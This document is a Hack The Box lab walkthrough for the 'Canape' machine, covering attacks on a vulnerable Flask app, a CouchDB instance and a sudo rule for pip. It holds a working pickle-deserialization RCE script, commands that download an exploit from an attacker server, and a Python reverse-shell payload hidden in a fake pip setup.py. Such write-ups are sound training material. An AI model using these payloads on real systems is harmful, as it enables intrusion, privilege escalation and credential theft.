[HTB Notes] Canape

1. Check open ports
nmap --min-rate 1000 -p- -v 10.10.10.70
# 80/tcp    open  http
# 65535/tcp open  unknown
nmap -oN canape.nmap -p80,65535 -sC -sV -v 10.10.10.70
# 80/tcp    open  http    Apache httpd 2.4.18 ((Ubuntu))
# |_http-favicon: Unknown favicon MD5: CCD1870C3EB5C66B66D9E5A31B7A7DF6
# | http-git:
# |   10.10.10.70:80/.git/
# |     Git repository found!
# |     Remotes:
# |_      http://git.canape.htb/simpsons.git
# | http-methods:
# |_  Supported Methods: HEAD OPTIONS GET
# |_http-server-header: Apache/2.4.18 (Ubuntu)
# |_http-title: Simpsons Fan Site
# |_http-trane-info: Problem with XML parsing of /evox/about
#
# 65535/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
# | ssh-hostkey:
# |   2048 8d:82:0b:31:90:e4:c8:85:b2:53:8b:a1:7c:3b:65:e1 (RSA)
# |   256 22:fc:6e:c3:55:00:85:0f:24:bf:f5:79:6c:92:8b:68 (ECDSA)
# |_  256 0d:91:27:51:80:5e:2b:a3:81:0d:e9:d8:5c:9b:77:35 (ED25519)
#

[x] Export http://10.10.10.70/.git to local machine
wget --mirror -I .git http://10.10.10.70/.git
[x] The repository contains a python Flask app
[x] Database configuration of the app ( __init__.py )
app.config.update(
    DATABASE = "simpsons"
)
db = couchdb.Server("http://localhost:5984/")[app.config["DATABASE"]]
[x] How submission requests are handled ( __init__.py )
WHITELIST = ["homer","marge","bart","lisa","maggie","moe","carl","krusty"]

@app.route("/submit", methods=["GET", "POST"])
def submit():
    error = None
    success = None

    if request.method == "POST":
        try:
            char = request.form["character"]
            quote = request.form["quote"]
            if not char or not quote:
                error = True
            elif not any(c.lower() in char.lower() for c in WHITELIST):
                error = True
            else:
                # TODO - Pickle into dictionary instead, `check` is ready
                p_id = md5(char + quote).hexdigest()
                outfile = open("/tmp/" + p_id + ".p", "wb")
		outfile.write(char + quote)
		outfile.close()
	        success = True
        except Exception as ex:
            error = True

    return render_template("submit.html", error=error, success=success)
[x] How valid submissions are read before approval ( __init__.py )
@app.route("/check", methods=["POST"])
def check():
    path = "/tmp/" + request.form["id"] + ".p"
    data = open(path, "rb").read()

    if "p1" in data:
        item = cPickle.loads(data)
    else:
        item = data

    return "Still reviewing: " + item
[x] Configure CouchDB before starting the Flask application locally
[x] Install and start CouchDB
sudo apt install couchdb
pip install couchdb
sudo couchdb start
# Apache CouchDB has started on http://127.0.0.1:5984/
[x] Create simpsons database in CouchDB
curl -X PUT http://127.0.0.1:5984/simpsons
# {"ok":true}
[x] Run Flask application
python __init__.py
# * Running on http://127.0.0.1:5000/
[x] Create and test exploit locally ( canape.py )
from hashlib import md5
from sys import argv
import cPickle as pickle
import requests as req

target = "http://localhost:5000"
print("[COMMAND]:  " + argv[1])

class Payload(object):
    def __init__(self, command):
        self.command = command.split(" ")
    def __reduce__(self):
        return (__import__("subprocess").check_output, (self.command,))

payload = pickle.dumps(Payload(argv[1]))

post_data = {
    'character' : payload + " homer",
    'quote' : " "
}
submit = req.post(target + "/submit", data=post_data)

if "don't recognize that character" in submit.text:
    print("\n[RESPONSE]:  POST REQUEST FAILED")
else:
    post_id = md5(payload + " homer ").hexdigest()
    check = req.post(target + "/check", data={ 'id' : post_id })

    if "Still reviewing:" in check.text:
        print("\n[RESPONSE]:\n\n" + check.text[17:])
    else:
        print("\n[RESPONSE]:  REQUEST FAILED")
[x] Update line #6 in canape.py
target = "http://10.10.10.70"
[x] Run RCE (Remote Code Execution) exploit
python canape.py "id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
python canape.py "cat /etc/passwd"
# root:x:0:0:root:/root:/bin/bash
# homer:x:1000:1000:homer,,,:/home/homer:/bin/bash

3. Attempt Privilege Escalation (www-data -> homer)
[x] Exploit CouchDB using CVE-2017-12635
[x] Search for available exploits
python canape.py "curl http://localhost:5984"
# "version":"2.0.0"
searchsploit couchdb
# Apache CouchDB 1.7.0 and 2.x before 2.1.1 - Remote Privilege Escalation
# exploits/linux/webapps/44498.py
[x] Download 44498.py and start python HTTP server
python -m SimpleHTTPServer
# Serving HTTP on 0.0.0.0 port 8000 ...
[x] Upload 44498.py to the remote machine
python canape.py "curl -o /tmp/44498.py http://HTB_Network_IPv4:8000/44498.py"
python canape.py "python /tmp/44498.py -h"
# usage: 44498.py [-h] [-p PORT] [-u USER] [-P PASSWORD] host
python canape.py "python /tmp/44498.py -u symr -P itsover -p 5984 127.0.0.1"
# [+] User to create: symr
# [+] Password: itsover
# [+] Attacking host 127.0.0.1 on port 5984
# [+] User symr with password itsover successfully created.
python canape.py "curl http://symr:itsover@localhost:5984/_all_dbs"
# "passwords"
python canape.py "curl http://symr:itsover@localhost:5984/passwords/_all_docs?include_docs=true"
# "item":"ssh","password":"0B4jyA0xtytZi7esBNGp"
# "item":"github","password":"STOP STORING YOUR PASSWORDS HERE -Admin"
[x] Generate User Shell
ssh -l homer -p 65535 10.10.10.70
# homer@10.10.10.70's password: 0B4jyA0xtytZi7esBNGp
[x] While inside shell:
find / -name user.txt 2>/dev/null
# /home/homer/user.txt
cat ~/user.txt
# bce918696f293e62b2321703bb27288d

3. Attempt Privilege Escalation (homer -> root)
[x] Check privileges
sudo -l
# [sudo] password for homer: 0B4jyA0xtytZi7esBNGp
#
# (root) /usr/bin/pip install *
[x] Exploit pip
[x] Clone FakePip from github on local machine
git clone https://github.com/0x00-0x00/FakePip.git
[x] Configure setup.py
RHOST = 'HTB_Network_IPv4'  # change this
# change lport in line 12 if you want (default is 443)
reverse_shell = 'python -c "import os; import pty; import socket; lhost = \'%s\'; lport = 443; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect((lhost, lport)); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); os.putenv(\'HISTFILE\', \'/dev/null\'); pty.spawn(\'/bin/bash\'); s.close();"' % RHOST
[x] Upload setup.py while inside the user shell
mkdir /tmp/.fakepip
cd /tmp/.fakepip
wget http://HTB_Network_IPv4:8000/FakePip/setup.py
# ‘setup.py’ saved [983/983]
[x] Set-up netcat listener on local machine
nc -lvp 443
# listening on [any] 443 ...
[x] Abuse sudo privileges
sudo /usr/bin/pip install . --upgrade --force-reinstall
# [sudo] password for homer: 0B4jyA0xtytZi7esBNGp
#
# Running setup.py install for FakePip ... -
[x] Going back to the netcat listener
id
# uid=0(root) gid=0(root) groups=0(root)
find / -name root.txt
# /root/root.txt
cat /root/root.txt
# 928c3df1a12d7f67d2e8c2937120976d

SIDENOTES:
[x] cPickle could be exploited via the __reduce__ method
[x] Running shell commands in Python:
[x] subprocess.check_output() returns value of STDOUT
[x] os.system() returns the command's EXIT STATUS
[x] Databases usually contain relevant information
[x] Check documentations and configuration files
[x] Search for available exploits or vulnerabilities